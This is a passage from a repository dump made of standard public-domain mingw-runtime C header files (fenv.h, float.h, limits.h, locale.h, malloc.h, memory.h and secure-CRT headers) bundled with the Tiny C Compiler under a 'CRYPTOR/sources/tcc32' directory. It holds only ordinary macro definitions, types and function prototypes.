_O_SEQUENTIAL 0x0020 33 | #define _O_RANDOM 0x0010 34 | 35 | #if !defined(NO_OLDNAMES) || defined(_POSIX) 36 | #define O_RDONLY _O_RDONLY 37 | #define O_WRONLY _O_WRONLY 38 | #define O_RDWR _O_RDWR 39 | #define O_APPEND _O_APPEND 40 | #define O_CREAT _O_CREAT 41 | #define O_TRUNC _O_TRUNC 42 | #define O_EXCL _O_EXCL 43 | #define O_TEXT _O_TEXT 44 | #define O_BINARY _O_BINARY 45 | #define O_RAW _O_BINARY 46 | #define O_TEMPORARY _O_TEMPORARY 47 | #define O_NOINHERIT _O_NOINHERIT 48 | #define O_SEQUENTIAL _O_SEQUENTIAL 49 | #define O_RANDOM _O_RANDOM 50 | #define O_ACCMODE _O_ACCMODE 51 | #endif 52 | #endif 53 | -------------------------------------------------------------------------------- /CRYPTOR/sources/tcc32/include/fenv.h: -------------------------------------------------------------------------------- 1 | /** 2 | * This file has no copyright assigned and is placed in the Public Domain. 3 | * This file is part of the w64 mingw-runtime package. 4 | * No warranty is given; refer to the file DISCLAIMER within this package. 5 | */ 6 | #ifndef _FENV_H_ 7 | #define _FENV_H_ 8 | 9 | #include <_mingw.h> 10 | 11 | /* FPU status word exception flags */ 12 | #define FE_INVALID 0x01 13 | #define FE_DENORMAL 0x02 14 | #define FE_DIVBYZERO 0x04 15 | #define FE_OVERFLOW 0x08 16 | #define FE_UNDERFLOW 0x10 17 | #define FE_INEXACT 0x20 18 | #define FE_ALL_EXCEPT (FE_INVALID | FE_DENORMAL | FE_DIVBYZERO \ 19 | | FE_OVERFLOW | FE_UNDERFLOW | FE_INEXACT) 20 | 21 | /* FPU control word rounding flags */ 22 | #define FE_TONEAREST 0x0000 23 | #define FE_DOWNWARD 0x0400 24 | #define FE_UPWARD 0x0800 25 | #define FE_TOWARDZERO 0x0c00 26 | 27 | /* The MXCSR exception flags are the same as the 28 | FE flags. */ 29 | #define __MXCSR_EXCEPT_FLAG_SHIFT 0 30 | 31 | /* How much to shift FE status word exception flags 32 | to get MXCSR rounding flags, */ 33 | #define __MXCSR_ROUND_FLAG_SHIFT 3 34 | 35 | #ifndef RC_INVOKED 36 | /* 37 | For now, support only for the basic abstraction of flags that are 38 | either set or clear. fexcept_t could be structure that holds more 39 | info about the fp environment. 40 | */ 41 | typedef unsigned short fexcept_t; 42 | 43 | /* This 32-byte struct represents the entire floating point 44 | environment as stored by fnstenv or fstenv, augmented by 45 | the contents of the MXCSR register, as stored by stmxcsr 46 | (if CPU supports it). */ 47 | typedef struct 48 | { 49 | unsigned short __control_word; 50 | unsigned short __unused0; 51 | unsigned short __status_word; 52 | unsigned short __unused1; 53 | unsigned short __tag_word; 54 | unsigned short __unused2; 55 | unsigned int __ip_offset; /* instruction pointer offset */ 56 | unsigned short __ip_selector; 57 | unsigned short __opcode; 58 | unsigned int __data_offset; 59 | unsigned short __data_selector; 60 | unsigned short __unused3; 61 | unsigned int __mxcsr; /* contents of the MXCSR register */ 62 | } fenv_t; 63 | 64 | 65 | /*The C99 standard (7.6.9) allows us to define implementation-specific macros for 66 | different fp environments */ 67 | 68 | /* The default Intel x87 floating point environment (64-bit mantissa) */ 69 | #define FE_PC64_ENV ((const fenv_t *)-1) 70 | 71 | /* The floating point environment set by MSVCRT _fpreset (53-bit mantissa) */ 72 | #define FE_PC53_ENV ((const fenv_t *)-2) 73 | 74 | /* The FE_DFL_ENV macro is required by standard. 75 | fesetenv will use the environment set at app startup.*/ 76 | #define FE_DFL_ENV ((const fenv_t *) 0) 77 | 78 | #ifdef __cplusplus 79 | extern "C" { 80 | #endif 81 | 82 | /*TODO: Some of these could be inlined */ 83 | /* 7.6.2 Exception */ 84 | 85 | extern int __cdecl feclearexcept (int); 86 | extern int __cdecl fegetexceptflag (fexcept_t * flagp, int excepts); 87 | extern int __cdecl feraiseexcept (int excepts ); 88 | extern int __cdecl fesetexceptflag (const fexcept_t *, int); 89 | extern int __cdecl fetestexcept (int excepts); 90 | 91 | /* 7.6.3 Rounding */ 92 | 93 | extern int __cdecl fegetround (void); 94 | extern int __cdecl fesetround (int mode); 95 | 96 | /* 7.6.4 Environment */ 97 | 98 | extern int __cdecl fegetenv(fenv_t * envp); 99 | extern int __cdecl fesetenv(const fenv_t * ); 100 | extern int __cdecl feupdateenv(const fenv_t *); 101 | extern int __cdecl feholdexcept(fenv_t *); 102 | 103 | #ifdef __cplusplus 104 | } 105 | #endif 106 | #endif /* Not RC_INVOKED */ 107 | 108 | #endif /* ndef _FENV_H */ 109 | -------------------------------------------------------------------------------- /CRYPTOR/sources/tcc32/include/float.h: -------------------------------------------------------------------------------- 1 | #ifndef _FLOAT_H_ 2 | #define _FLOAT_H_ 3 | 4 | #define FLT_RADIX 2 5 | 6 | /* IEEE float */ 7 | #define FLT_MANT_DIG 24 8 | #define FLT_DIG 6 9 | #define FLT_ROUNDS 1 10 | #define FLT_EPSILON 1.19209290e-07F 11 | #define FLT_MIN_EXP (-125) 12 | #define FLT_MIN 1.17549435e-38F 13 | #define FLT_MIN_10_EXP (-37) 14 | #define FLT_MAX_EXP 128 15 | #define FLT_MAX 3.40282347e+38F 16 | #define FLT_MAX_10_EXP 38 17 | 18 | /* IEEE double */ 19 | #define DBL_MANT_DIG 53 20 | #define DBL_DIG 15 21 | #define DBL_EPSILON 2.2204460492503131e-16 22 | #define DBL_MIN_EXP (-1021) 23 | #define DBL_MIN 2.2250738585072014e-308 24 | #define DBL_MIN_10_EXP (-307) 25 | #define DBL_MAX_EXP 1024 26 | #define DBL_MAX 1.7976931348623157e+308 27 | #define DBL_MAX_10_EXP 308 28 | 29 | /* horrible intel long double */ 30 | #if defined __i386__ || defined __x86_64__ 31 | 32 | #define LDBL_MANT_DIG 64 33 | #define LDBL_DIG 18 34 | #define LDBL_EPSILON 1.08420217248550443401e-19L 35 | #define LDBL_MIN_EXP (-16381) 36 | #define LDBL_MIN 3.36210314311209350626e-4932L 37 | #define LDBL_MIN_10_EXP (-4931) 38 | #define LDBL_MAX_EXP 16384 39 | #define LDBL_MAX 1.18973149535723176502e+4932L 40 | #define LDBL_MAX_10_EXP 4932 41 | 42 | #else 43 | 44 | /* same as IEEE double */ 45 | #define LDBL_MANT_DIG 53 46 | #define LDBL_DIG 15 47 | #define LDBL_EPSILON 2.2204460492503131e-16 48 | #define LDBL_MIN_EXP (-1021) 49 | #define LDBL_MIN 2.2250738585072014e-308 50 | #define LDBL_MIN_10_EXP (-307) 51 | #define LDBL_MAX_EXP 1024 52 | #define LDBL_MAX 1.7976931348623157e+308 53 | #define LDBL_MAX_10_EXP 308 54 | 55 | #endif 56 | 57 | #endif /* _FLOAT_H_ */ 58 | -------------------------------------------------------------------------------- /CRYPTOR/sources/tcc32/include/limits.h: -------------------------------------------------------------------------------- 1 | /** 2 | * This file has no copyright assigned and is placed in the Public Domain. 3 | * This file is part of the w64 mingw-runtime package. 4 | * No warranty is given; refer to the file DISCLAIMER within this package. 5 | */ 6 | #include <_mingw.h> 7 | 8 | #ifndef _INC_LIMITS 9 | #define _INC_LIMITS 10 | 11 | /* 12 | * File system limits 13 | * 14 | * TODO: NAME_MAX and OPEN_MAX are file system limits or not? Are they the 15 | * same as FILENAME_MAX and FOPEN_MAX from stdio.h? 16 | * NOTE: Apparently the actual size of PATH_MAX is 260, but a space is 17 | * required for the NUL. TODO: Test? 18 | */ 19 | #define PATH_MAX (259) 20 | 21 | #define CHAR_BIT 8 22 | #define SCHAR_MIN (-128) 23 | #define SCHAR_MAX 127 24 | #define UCHAR_MAX 0xff 25 | 26 | #define CHAR_MIN SCHAR_MIN 27 | #define CHAR_MAX SCHAR_MAX 28 | 29 | #define MB_LEN_MAX 5 30 | #define SHRT_MIN (-32768) 31 | #define SHRT_MAX 32767 32 | #define USHRT_MAX 0xffff 33 | #define INT_MIN (-2147483647 - 1) 34 | #define INT_MAX 2147483647 35 | #define UINT_MAX 0xffffffff 36 | #define LONG_MIN (-2147483647L - 1) 37 | #define LONG_MAX 2147483647L 38 | #define ULONG_MAX 0xffffffffUL 39 | #define LLONG_MAX 9223372036854775807ll 40 | #define LLONG_MIN (-9223372036854775807ll - 1) 41 | #define ULLONG_MAX 0xffffffffffffffffull 42 | 43 | #if _INTEGRAL_MAX_BITS >= 8 44 | #define _I8_MIN (-127 - 1) 45 | #define _I8_MAX 127i8 46 | #define _UI8_MAX 0xffu 47 | #endif 48 | 49 | #if _INTEGRAL_MAX_BITS >= 16 50 | #define _I16_MIN (-32767 - 1) 51 | #define _I16_MAX 32767i16 52 | #define _UI16_MAX 0xffffu 53 | #endif 54 | 55 | #if _INTEGRAL_MAX_BITS >= 32 56 | #define _I32_MIN (-2147483647 - 1) 57 | #define _I32_MAX 2147483647 58 | #define _UI32_MAX 0xffffffffu 59 | #endif 60 | 61 | #if defined(__GNUC__) 62 | #undef LONG_LONG_MAX 63 | #define LONG_LONG_MAX 9223372036854775807ll 64 | #undef LONG_LONG_MIN 65 | #define LONG_LONG_MIN (-LONG_LONG_MAX-1) 66 | #undef ULONG_LONG_MAX 67 | #define ULONG_LONG_MAX (2ull * LONG_LONG_MAX + 1ull) 68 | #endif 69 | 70 | #if _INTEGRAL_MAX_BITS >= 64 71 | #define _I64_MIN (-9223372036854775807ll - 1) 72 | #define _I64_MAX 9223372036854775807ll 73 | #define _UI64_MAX 0xffffffffffffffffull 74 | #endif 75 | 76 | #ifndef SIZE_MAX 77 | #ifdef _WIN64 78 | #define SIZE_MAX _UI64_MAX 79 | #else 80 | #define SIZE_MAX UINT_MAX 81 | #endif 82 | #endif 83 | 84 | #ifdef _POSIX_ 85 | #define _POSIX_ARG_MAX 4096 86 | #define _POSIX_CHILD_MAX 6 87 | #define _POSIX_LINK_MAX 8 88 | #define _POSIX_MAX_CANON 255 89 | #define _POSIX_MAX_INPUT 255 90 | #define _POSIX_NAME_MAX 14 91 | #define _POSIX_NGROUPS_MAX 0 92 | #define _POSIX_OPEN_MAX 16 93 | #define _POSIX_PATH_MAX 255 94 | #define _POSIX_PIPE_BUF 512 95 | #define _POSIX_SSIZE_MAX 32767 96 | #define _POSIX_STREAM_MAX 8 97 | #define _POSIX_TZNAME_MAX 3 98 | #define ARG_MAX 14500 99 | #define LINK_MAX 1024 100 | #define MAX_CANON _POSIX_MAX_CANON 101 | #define MAX_INPUT _POSIX_MAX_INPUT 102 | #define NAME_MAX 255 103 | #define NGROUPS_MAX 16 104 | #define OPEN_MAX 32 105 | #define PATH_MAX 512 106 | #define PIPE_BUF _POSIX_PIPE_BUF 107 | #define SSIZE_MAX _POSIX_SSIZE_MAX 108 | #define STREAM_MAX 20 109 | #define TZNAME_MAX 10 110 | #endif 111 | #endif 112 | -------------------------------------------------------------------------------- /CRYPTOR/sources/tcc32/include/locale.h: -------------------------------------------------------------------------------- 1 | /** 2 | * This file has no copyright assigned and is placed in the Public Domain. 3 | * This file is part of the w64 mingw-runtime package. 4 | * No warranty is given; refer to the file DISCLAIMER within this package. 5 | */ 6 | #ifndef _INC_LOCALE 7 | #define _INC_LOCALE 8 | 9 | #include <_mingw.h> 10 | 11 | #pragma pack(push,_CRT_PACKING) 12 | 13 | #ifdef __cplusplus 14 | extern "C" { 15 | #endif 16 | 17 | #ifndef NULL 18 | #ifdef __cplusplus 19 | #define NULL 0 20 | #else 21 | #define NULL ((void *)0) 22 | #endif 23 | #endif 24 | 25 | #define LC_ALL 0 26 | #define LC_COLLATE 1 27 | #define LC_CTYPE 2 28 | #define LC_MONETARY 3 29 | #define LC_NUMERIC 4 30 | #define LC_TIME 5 31 | 32 | #define LC_MIN LC_ALL 33 | #define LC_MAX LC_TIME 34 | 35 | #ifndef _LCONV_DEFINED 36 | #define _LCONV_DEFINED 37 | struct lconv { 38 | char *decimal_point; 39 | char *thousands_sep; 40 | char *grouping; 41 | char *int_curr_symbol; 42 | char *currency_symbol; 43 | char *mon_decimal_point; 44 | char *mon_thousands_sep; 45 | char *mon_grouping; 46 | char *positive_sign; 47 | char *negative_sign; 48 | char int_frac_digits; 49 | char frac_digits; 50 | char p_cs_precedes; 51 | char p_sep_by_space; 52 | char n_cs_precedes; 53 | char n_sep_by_space; 54 | char p_sign_posn; 55 | char n_sign_posn; 56 | }; 57 | #endif 58 | 59 | #ifndef _CONFIG_LOCALE_SWT 60 | #define _CONFIG_LOCALE_SWT 61 | 62 | #define _ENABLE_PER_THREAD_LOCALE 0x1 63 | #define _DISABLE_PER_THREAD_LOCALE 0x2 64 | #define _ENABLE_PER_THREAD_LOCALE_GLOBAL 0x10 65 | #define _DISABLE_PER_THREAD_LOCALE_GLOBAL 0x20 66 | #define _ENABLE_PER_THREAD_LOCALE_NEW 0x100 67 | #define _DISABLE_PER_THREAD_LOCALE_NEW 0x200 68 | 69 | #endif 70 | 71 | int __cdecl _configthreadlocale(int _Flag); 72 | char *__cdecl setlocale(int _Category,const char *_Locale); 73 | _CRTIMP struct lconv *__cdecl localeconv(void); 74 | _locale_t __cdecl _get_current_locale(void); 75 | _locale_t __cdecl _create_locale(int _Category,const char *_Locale); 76 | void __cdecl _free_locale(_locale_t _Locale); 77 | _locale_t __cdecl __get_current_locale(void); 78 | _locale_t __cdecl __create_locale(int _Category,const char *_Locale); 79 | void __cdecl __free_locale(_locale_t _Locale); 80 | 81 | #ifndef _WLOCALE_DEFINED 82 | #define _WLOCALE_DEFINED 83 | _CRTIMP wchar_t *__cdecl _wsetlocale(int _Category,const wchar_t *_Locale); 84 | #endif 85 | 86 | #ifdef __cplusplus 87 | } 88 | #endif 89 | 90 | #pragma pack(pop) 91 | #endif 92 | -------------------------------------------------------------------------------- /CRYPTOR/sources/tcc32/include/malloc.h: -------------------------------------------------------------------------------- 1 | /** 2 | * This file has no copyright assigned and is placed in the Public Domain. 3 | * This file is part of the w64 mingw-runtime package. 4 | * No warranty is given; refer to the file DISCLAIMER within this package. 5 | */ 6 | #ifndef _MALLOC_H_ 7 | #define _MALLOC_H_ 8 | 9 | #include <_mingw.h> 10 | 11 | #pragma pack(push,_CRT_PACKING) 12 | 13 | #ifndef _MM_MALLOC_H_INCLUDED 14 | #define _MM_MALLOC_H_INCLUDED 15 | #endif 16 | 17 | #ifdef __cplusplus 18 | extern "C" { 19 | #endif 20 | 21 | #ifdef _WIN64 22 | #define _HEAP_MAXREQ 0xFFFFFFFFFFFFFFE0 23 | #else 24 | #define _HEAP_MAXREQ 0xFFFFFFE0 25 | #endif 26 | 27 | #ifndef _STATIC_ASSERT 28 | #define _STATIC_ASSERT(expr) extern void __static_assert_t(int [(expr)?1:-1]) 29 | #endif 30 | 31 | /* Return codes for _heapwalk() */ 32 | #define _HEAPEMPTY (-1) 33 | #define _HEAPOK (-2) 34 | #define _HEAPBADBEGIN (-3) 35 | #define _HEAPBADNODE (-4) 36 | #define _HEAPEND (-5) 37 | #define _HEAPBADPTR (-6) 38 | 39 | /* Values for _heapinfo.useflag */ 40 | #define _FREEENTRY 0 41 | #define _USEDENTRY 1 42 | 43 | #ifndef _HEAPINFO_DEFINED 44 | #define _HEAPINFO_DEFINED 45 | /* The structure used to walk through the heap with _heapwalk. */ 46 | typedef struct _heapinfo { 47 | int *_pentry; 48 | size_t _size; 49 | int _useflag; 50 | } _HEAPINFO; 51 | #endif 52 | 53 | extern unsigned int _amblksiz; 54 | 55 | #define _mm_free(a) _aligned_free(a) 56 | #define _mm_malloc(a,b) _aligned_malloc(a,b) 57 | 58 | #ifndef _CRT_ALLOCATION_DEFINED 59 | #define _CRT_ALLOCATION_DEFINED 60 | void *__cdecl calloc(size_t _NumOfElements,size_t _SizeOfElements); 61 | void __cdecl free(void *_Memory); 62 | void *__cdecl malloc(size_t _Size); 63 | void *__cdecl realloc(void *_Memory,size_t _NewSize); 64 | _CRTIMP void *__cdecl _recalloc(void *_Memory,size_t _Count,size_t _Size); 65 | /* _CRTIMP void __cdecl _aligned_free(void *_Memory); 66 | _CRTIMP void *__cdecl _aligned_malloc(size_t _Size,size_t _Alignment); */ 67 | _CRTIMP void *__cdecl _aligned_offset_malloc(size_t _Size,size_t _Alignment,size_t _Offset); 68 | _CRTIMP void *__cdecl _aligned_realloc(void *_Memory,size_t _Size,size_t _Alignment); 69 | _CRTIMP void *__cdecl _aligned_recalloc(void *_Memory,size_t _Count,size_t _Size,size_t _Alignment); 70 | _CRTIMP void *__cdecl _aligned_offset_realloc(void *_Memory,size_t _Size,size_t _Alignment,size_t _Offset); 71 | _CRTIMP void *__cdecl _aligned_offset_recalloc(void *_Memory,size_t _Count,size_t _Size,size_t _Alignment,size_t _Offset); 72 | #endif 73 | 74 | #define _MAX_WAIT_MALLOC_CRT 60000 75 | 76 | _CRTIMP int __cdecl _resetstkoflw (void); 77 | _CRTIMP unsigned long __cdecl _set_malloc_crt_max_wait(unsigned long _NewValue); 78 | 79 | _CRTIMP void *__cdecl _expand(void *_Memory,size_t _NewSize); 80 | _CRTIMP size_t __cdecl _msize(void *_Memory); 81 | #ifdef __GNUC__ 82 | #undef _alloca 83 | #define _alloca(x) __builtin_alloca((x)) 84 | #else 85 | /* tcc implements alloca internally and exposes it (since commit d778bde7). 86 | /* alloca is declared at include/stddef.h (which is distributed with tcc). 87 | */ 88 | #ifdef _alloca 89 | #undef _alloca 90 | #endif 91 | #define _alloca(x) alloca((x)) 92 | #endif 93 | _CRTIMP size_t __cdecl _get_sbh_threshold(void); 94 | _CRTIMP int __cdecl _set_sbh_threshold(size_t _NewValue); 95 | _CRTIMP errno_t __cdecl _set_amblksiz(size_t _Value); 96 | _CRTIMP errno_t __cdecl _get_amblksiz(size_t *_Value); 97 | _CRTIMP int __cdecl _heapadd(void *_Memory,size_t _Size); 98 | _CRTIMP int __cdecl _heapchk(void); 99 | _CRTIMP int __cdecl _heapmin(void); 100 | _CRTIMP int __cdecl _heapset(unsigned int _Fill); 101 | _CRTIMP int __cdecl _heapwalk(_HEAPINFO *_EntryInfo); 102 | _CRTIMP size_t __cdecl _heapused(size_t *_Used,size_t *_Commit); 103 | _CRTIMP intptr_t __cdecl _get_heap_handle(void); 104 | 105 | #define _ALLOCA_S_THRESHOLD 1024 106 | #define _ALLOCA_S_STACK_MARKER 0xCCCC 107 | #define _ALLOCA_S_HEAP_MARKER 0xDDDD 108 | 109 | #if(defined(_X86_) && !defined(__x86_64)) 110 | #define _ALLOCA_S_MARKER_SIZE 8 111 | #elif defined(__ia64__) || defined(__x86_64) 112 | #define _ALLOCA_S_MARKER_SIZE 16 113 | #endif 114 | 115 | #if !defined(RC_INVOKED) 116 | static __inline void *_MarkAllocaS(void *_Ptr,unsigned int _Marker) { 117 | if(_Ptr) { 118 | *((unsigned int*)_Ptr) = _Marker; 119 | _Ptr = (char*)_Ptr + _ALLOCA_S_MARKER_SIZE; 120 | } 121 | return _Ptr; 122 | } 123 | #endif 124 | 125 | #undef _malloca 126 | #define _malloca(size) \ 127 | ((((size) + _ALLOCA_S_MARKER_SIZE) <= _ALLOCA_S_THRESHOLD) ? \ 128 | _MarkAllocaS(_alloca((size) + _ALLOCA_S_MARKER_SIZE),_ALLOCA_S_STACK_MARKER) : \ 129 | _MarkAllocaS(malloc((size) + _ALLOCA_S_MARKER_SIZE),_ALLOCA_S_HEAP_MARKER)) 130 | #undef _FREEA_INLINE 131 | #define _FREEA_INLINE 132 | 133 | #ifndef RC_INVOKED 134 | #undef _freea 135 | static __inline void __cdecl _freea(void *_Memory) { 136 | unsigned int _Marker; 137 | if(_Memory) { 138 | _Memory = (char*)_Memory - _ALLOCA_S_MARKER_SIZE; 139 | _Marker = *(unsigned int *)_Memory; 140 | if(_Marker==_ALLOCA_S_HEAP_MARKER) { 141 | free(_Memory); 142 | } 143 | #ifdef _ASSERTE 144 | else if(_Marker!=_ALLOCA_S_STACK_MARKER) { 145 | _ASSERTE(("Corrupted pointer passed to _freea",0)); 146 | } 147 | #endif 148 | } 149 | } 150 | #endif /* RC_INVOKED */ 151 | 152 | #ifndef NO_OLDNAMES 153 | #ifdef __GNUC__ 154 | #undef alloca 155 | #define alloca(x) __builtin_alloca((x)) 156 | #endif 157 | #endif 158 | 159 | #ifdef HEAPHOOK 160 | #ifndef _HEAPHOOK_DEFINED 161 | #define _HEAPHOOK_DEFINED 162 | typedef int (__cdecl *_HEAPHOOK)(int,size_t,void *,void **); 163 | #endif 164 | 165 | _CRTIMP _HEAPHOOK __cdecl _setheaphook(_HEAPHOOK _NewHook); 166 | 167 | #define _HEAP_MALLOC 1 168 | #define _HEAP_CALLOC 2 169 | #define _HEAP_FREE 3 170 | #define _HEAP_REALLOC 4 171 | #define _HEAP_MSIZE 5 172 | #define _HEAP_EXPAND 6 173 | #endif 174 | 175 | #ifdef __cplusplus 176 | } 177 | #endif 178 | 179 | #pragma pack(pop) 180 | 181 | #endif /* _MALLOC_H_ */ 182 | -------------------------------------------------------------------------------- /CRYPTOR/sources/tcc32/include/mem.h: -------------------------------------------------------------------------------- 1 | /** 2 | * This file has no copyright assigned and is placed in the Public Domain. 3 | * This file is part of the w64 mingw-runtime package. 4 | * No warranty is given; refer to the file DISCLAIMER within this package. 5 | */ 6 | /* 7 | * This file is part of the Mingw32 package. 8 | * 9 | * mem.h maps to string.h 10 | */ 11 | #ifndef __STRICT_ANSI__ 12 | #include 13 | #endif 14 | -------------------------------------------------------------------------------- /CRYPTOR/sources/tcc32/include/memory.h: -------------------------------------------------------------------------------- 1 | /** 2 | * This file has no copyright assigned and is placed in the Public Domain. 3 | * This file is part of the w64 mingw-runtime package. 4 | * No warranty is given; refer to the file DISCLAIMER within this package. 5 | */ 6 | #ifndef _INC_MEMORY 7 | #define _INC_MEMORY 8 | 9 | #include <_mingw.h> 10 | 11 | #ifdef __cplusplus 12 | extern "C" { 13 | #endif 14 | 15 | #ifndef _CONST_RETURN 16 | #define _CONST_RETURN 17 | #endif 18 | 19 | #define _WConst_return _CONST_RETURN 20 | 21 | #ifndef _CRT_MEMORY_DEFINED 22 | #define _CRT_MEMORY_DEFINED 23 | _CRTIMP void *__cdecl _memccpy(void *_Dst,const void *_Src,int _Val,size_t _MaxCount); 24 | _CONST_RETURN void *__cdecl memchr(const void *_Buf ,int _Val,size_t _MaxCount); 25 | _CRTIMP int __cdecl _memicmp(const void *_Buf1,const void *_Buf2,size_t _Size); 26 | _CRTIMP int __cdecl _memicmp_l(const void *_Buf1,const void *_Buf2,size_t _Size,_locale_t _Locale); 27 | int __cdecl memcmp(const void *_Buf1,const void *_Buf2,size_t _Size); 28 | void *__cdecl memcpy(void *_Dst,const void *_Src,size_t _Size); 29 | void *__cdecl memset(void *_Dst,int _Val,size_t _Size); 30 | 31 | #ifndef NO_OLDNAMES 32 | void *__cdecl memccpy(void *_Dst,const void *_Src,int _Val,size_t _Size); 33 | int __cdecl memicmp(const void *_Buf1,const void *_Buf2,size_t _Size); 34 | #endif 35 | #endif 36 | 37 | #ifdef __cplusplus 38 | } 39 | #endif 40 | #endif 41 | -------------------------------------------------------------------------------- /CRYPTOR/sources/tcc32/include/sec_api/conio_s.h: -------------------------------------------------------------------------------- 1 | /** 2 | * This file has no copyright assigned and is placed in the Public Domain. 3 | * This file is part of the w64 mingw-runtime package. 4 | * No warranty is given; refer to the file DISCLAIMER within this package. 5 | */ 6 | 7 | #ifndef _INC_CONIO_S 8 | #define _INC_CONIO_S 9 | 10 | #include 11 | 12 | #if defined(MINGW_HAS_SECURE_API) 13 | 14 | #ifdef __cplusplus 15 | extern "C" { 16 | #endif 17 | 18 | _CRTIMP errno_t __cdecl _cgets_s(char *_Buffer,size_t _Size,size_t *_SizeRead); 19 | _CRTIMP int __cdecl _cprintf_s(const char *_Format,...); 20 | _CRTIMP int __cdecl _cscanf_s(const char *_Format,...); 21 | _CRTIMP int __cdecl _cscanf_s_l(const char *_Format,_locale_t _Locale,...); 22 | _CRTIMP int __cdecl _vcprintf_s(const char *_Format,va_list _ArgList); 23 | _CRTIMP int __cdecl _cprintf_s_l(const char *_Format,_locale_t _Locale,...); 24 | _CRTIMP int __cdecl _vcprintf_s_l(const char *_Format,_locale_t _Locale,va_list _ArgList); 25 | 26 | #ifndef _WCONIO_DEFINED_S 27 | #define _WCONIO_DEFINED_S 28 | _CRTIMP errno_t __cdecl _cgetws_s(wchar_t *_Buffer,size_t _SizeInWords,size_t *_SizeRead); 29 | _CRTIMP int __cdecl _cwprintf_s(const wchar_t *_Format,...); 30 | _CRTIMP int __cdecl _cwscanf_s(const wchar_t *_Format,...); 31 | _CRTIMP int __cdecl _cwscanf_s_l(const wchar_t *_Format,_locale_t _Locale,...); 32 | _CRTIMP int __cdecl _vcwprintf_s(const wchar_t *_Format,va_list _ArgList); 33 | _CRTIMP int __cdecl _cwprintf_s_l(const wchar_t *_Format,_locale_t _Locale,...); 34 | _CRTIMP int __cdecl _vcwprintf_s_l(const wchar_t *_Format,_locale_t _Locale,va_list _ArgList); 35 | #endif 36 | 37 | #ifdef __cplusplus 38 | } 39 | #endif 40 | 41 | #endif 42 | #endif 43 | -------------------------------------------------------------------------------- /CRYPTOR/sources/tcc32/include/sec_api/crtdbg_s.h: -------------------------------------------------------------------------------- 1 | /** 2 | * This file has no copyright assigned and is placed in the Public Domain. 3 | * This file is part of the w64 mingw-runtime package. 4 | * No warranty is given; refer to the file DISCLAIMER within this package. 5 | */ 6 | 7 | #ifndef _INC_CRTDBG_S 8 | #define _INC_CRTDBG_S 9 | 10 | #include 11 | 12 | #if defined(MINGW_HAS_SECURE_API) 13 | 14 | #define _dupenv_s_dbg(ps1,size,s2,t,f,l) _dupenv_s(ps1,size,s2) 15 | #define _wdupenv_s_dbg(ps1,size,s2,t,f,l) _wdupenv_s(ps1,size,s2) 16 | 17 | #endif 18 | 19 | #endif 20 | -------------------------------------------------------------------------------- /CRYPTOR/sources/tcc32/include/sec_api/io_s.h: -------------------------------------------------------------------------------- 1 | /** 2 | * This file has no copyright assigned and is placed in the Public Domain. 3 | * This file is part of the w64 mingw-runtime package. 4 | * No warranty is given; refer to the file DISCLAIMER within this package. 5 | */ 6 | #ifndef _INC_IO_S 7 | #define _INC_IO_S 8 | 9 | #include 10 | 11 | #if defined(MINGW_HAS_SECURE_API) 12 | 13 | #ifdef __cplusplus 14 | extern "C" { 15 | #endif 16 | 17 | _CRTIMP errno_t __cdecl _access_s(const char *_Filename,int _AccessMode); 18 | _CRTIMP errno_t __cdecl _chsize_s(int _FileHandle,__int64 _Size); 19 | _CRTIMP errno_t __cdecl _mktemp_s(char *_TemplateName,size_t _Size); 20 | _CRTIMP errno_t __cdecl _umask_s(int _NewMode,int *_OldMode); 21 | 22 | #ifndef _WIO_S_DEFINED 23 | #define _WIO_S_DEFINED 24 | _CRTIMP errno_t __cdecl _waccess_s(const wchar_t *_Filename,int _AccessMode); 25 | _CRTIMP errno_t __cdecl _wmktemp_s(wchar_t *_TemplateName,size_t _SizeInWords); 26 | #endif 27 | 28 | #ifdef __cplusplus 29 | } 30 | #endif 31 | 32 | #endif 33 | #endif 34 | -------------------------------------------------------------------------------- /CRYPTOR/sources/tcc32/include/sec_api/mbstring_s.h: -------------------------------------------------------------------------------- 1 | /** 2 | * This file has no copyright assigned and is placed in the Public Domain. 3 | * This file is part of the w64 mingw-runtime package. 4 | * No warranty is given; refer to the file DISCLAIMER within this package. 5 | */ 6 | #ifndef _INC_MBSTRING_S 7 | #define _INC_MBSTRING_S 8 | 9 | #include 10 | 11 | #if defined(MINGW_HAS_SECURE_API) 12 | 13 | #ifdef __cplusplus 14 | extern "C" { 15 | #endif 16 | 17 | #ifndef _MBSTRING_S_DEFINED 18 | #define _MBSTRING_S_DEFINED 19 | _CRTIMP errno_t __cdecl _mbscat_s(unsigned char *_Dst,size_t _DstSizeInBytes,const unsigned char *_Src); 20 | _CRTIMP errno_t __cdecl _mbscat_s_l(unsigned char *_Dst,size_t _DstSizeInBytes,const unsigned char *_Src,_locale_t _Locale); 21 | _CRTIMP errno_t __cdecl _mbscpy_s(unsigned char *_Dst,size_t _DstSizeInBytes,const unsigned char *_Src); 22 | _CRTIMP errno_t __cdecl _mbscpy_s_l(unsigned char *_Dst,size_t _DstSizeInBytes,const unsigned char *_Src,_locale_t _Locale); 23 | _CRTIMP errno_t __cdecl _mbslwr_s(unsigned char *_Str,size_t _SizeInBytes); 24 | _CRTIMP errno_t __cdecl _mbslwr_s_l(unsigned char *_Str,size_t _SizeInBytes,_locale_t _Locale); 25 | _CRTIMP errno_t __cdecl _mbsnbcat_s(unsigned char *_Dst,size_t _DstSizeInBytes,const unsigned char *_Src,size_t _MaxCount); 26 | _CRTIMP errno_t __cdecl _mbsnbcat_s_l(unsigned char *_Dst,size_t _DstSizeInBytes,const unsigned char *_Src,size_t _MaxCount,_locale_t _Locale); 27 | _CRTIMP errno_t __cdecl _mbsnbcpy_s(unsigned char *_Dst,size_t _DstSizeInBytes,const unsigned char *_Src,size_t _MaxCount); 28 | _CRTIMP errno_t __cdecl _mbsnbcpy_s_l(unsigned char *_Dst,size_t _DstSizeInBytes,const unsigned char *_Src,size_t _MaxCount,_locale_t _Locale); 29 | _CRTIMP errno_t __cdecl _mbsnbset_s(unsigned char *_Dst,size_t _DstSizeInBytes,unsigned int _Ch,size_t _MaxCount); 30 | _CRTIMP errno_t __cdecl _mbsnbset_s_l(unsigned char *_Dst,size_t _DstSizeInBytes,unsigned int _Ch,size_t _MaxCount,_locale_t _Locale); 31 | _CRTIMP errno_t __cdecl _mbsncat_s(unsigned char *_Dst,size_t _DstSizeInBytes,const unsigned char *_Src,size_t _MaxCount); 32 | _CRTIMP errno_t __cdecl _mbsncat_s_l(unsigned char *_Dst,size_t _DstSizeInBytes,const unsigned char *_Src,size_t _MaxCount,_locale_t _Locale); 33 | _CRTIMP errno_t __cdecl _mbsncpy_s(unsigned char *_Dst,size_t 